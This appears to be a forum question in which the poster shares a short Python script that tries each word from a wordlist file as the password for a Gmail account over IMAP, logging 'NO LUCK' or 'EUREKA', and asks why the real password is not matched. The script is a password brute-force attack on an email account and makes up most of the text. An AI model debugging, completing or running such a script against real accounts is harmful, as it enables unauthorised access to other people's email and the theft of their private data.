I have a list of words in a text file. I am trying to run imap.login function against the words in that file. One of the words in that list is the password for the email ID. The script fails to recognise it as the password however, while I manually pass the password, it seems to return an "OK"
Here is the script:
import imaplib
conn = imaplib.IMAP4_SSL("imap.gmail.com", 993)
email_id='someone__blahh@gmail.com'
passwrds = open('/Users/rdj/scripts/words', 'r')
for i in passwrds.readlines():
i = i.rstrip()
passwrd = i
if len(passwrd) > 5:
fle = open("/Users/rdj/scripts/ghack.log", "a")
try:
if conn.login(email_id, passwrd):
fle.write("%s ==> EUREKA\n" %(passwrd))
break
except:
fle.write("%s --> NO LUCK\n" %(passwrd))